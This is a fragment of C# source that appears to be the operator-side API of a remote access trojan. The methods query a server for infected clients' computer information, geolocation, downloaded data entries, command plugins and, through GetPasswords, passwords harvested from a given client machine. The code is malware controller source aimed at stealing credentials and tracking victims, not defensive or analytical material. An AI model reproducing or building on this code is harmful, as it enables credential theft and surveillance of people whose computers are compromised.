public ComputerInformation GetComputerInformation(BaseClientInformation client) { var computerInformation = DataTransferProtocolFactory.ExecuteFunction <ComputerInformation>("GetComputerInformation", client.Id); computerInformation.Timestamp = computerInformation.Timestamp.ToLocalTime(); return(computerInformation); }
public ClientConfig GetClientConfig(OnlineClientInformation onlineClientInformation) { return(DataTransferProtocolFactory.ExecuteFunction <ClientConfig>("GetClientConfig", null, new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes()) { typeof(ClientConfig) }, onlineClientInformation.Id)); }
public List <DataEntry> GetDataEntries() { var entries = DataTransferProtocolFactory.ExecuteFunction <List <DataEntry> >("GetDataEntries"); foreach (var dataEntry in entries) { dataEntry.Timestamp = dataEntry.Timestamp.ToLocalTime(); } return(entries); }
public List <ExceptionInfo> GetExceptions(DateTime from, DateTime to) { var exceptions = DataTransferProtocolFactory.ExecuteFunction <List <ExceptionInfo> >("GetExceptions", from, to); foreach (var exceptionInfo in exceptions) { exceptionInfo.Timestamp = exceptionInfo.Timestamp.ToLocalTime(); } return(exceptions); }
public Dictionary <DataEntry, byte[]> DownloadEntries(IEnumerable <DataEntry> dataEntries) { var result = new Dictionary <DataEntry, byte[]>(); var dataEntriesList = dataEntries.ToList(); var downloadedData = DataTransferProtocolFactory.ExecuteFunction <List <byte[]> >( "DownloadMultipleData", dataEntriesList.Select(x => x.Id).ToList()); for (int i = 0; i < downloadedData.Count; i++) { if (downloadedData[i] != null) { result.Add(dataEntriesList[i], downloadedData[i]); } } return(result); }
public LocationInfo GetClientLocation(BaseClientInformation client) { return(DataTransferProtocolFactory.ExecuteFunction <LocationInfo>("GetClientLocation", client.Id)); }
public PasswordData GetPasswords(BaseClientInformation client) { return(DataTransferProtocolFactory.ExecuteFunction <PasswordData>("GetPasswords", client.Id)); }
public List <ClientLocation> GetClientLocations() { return(DataTransferProtocolFactory.ExecuteFunction <List <ClientLocation> >("GetClientLocations")); }
public Statistics GetStatistics() { return(DataTransferProtocolFactory.ExecuteFunction <Statistics>("GetStatistics")); }
public int GetStaticCommandPluginId(byte[] pluginHash) { return(DataTransferProtocolFactory.ExecuteFunction <int>("GetStaticCommandPluginResourceId", pluginHash)); }
public bool IsStaticCommandPluginAvailable(byte[] pluginHash) { return(DataTransferProtocolFactory.ExecuteFunction <bool>("IsStaticCommandPluginAvailable", pluginHash)); }
public List <RegisteredDynamicCommand> GetDynamicCommands() { return(DataTransferProtocolFactory.ExecuteFunction <List <RegisteredDynamicCommand> >("GetDynamicCommands", null, DynamicCommandInfo.RequiredTypes.ToList())); }
public byte[] DownloadEntry(DataEntry dataEntry) { return(DataTransferProtocolFactory.ExecuteFunction <byte[]>("DownloadData", dataEntry.Id)); }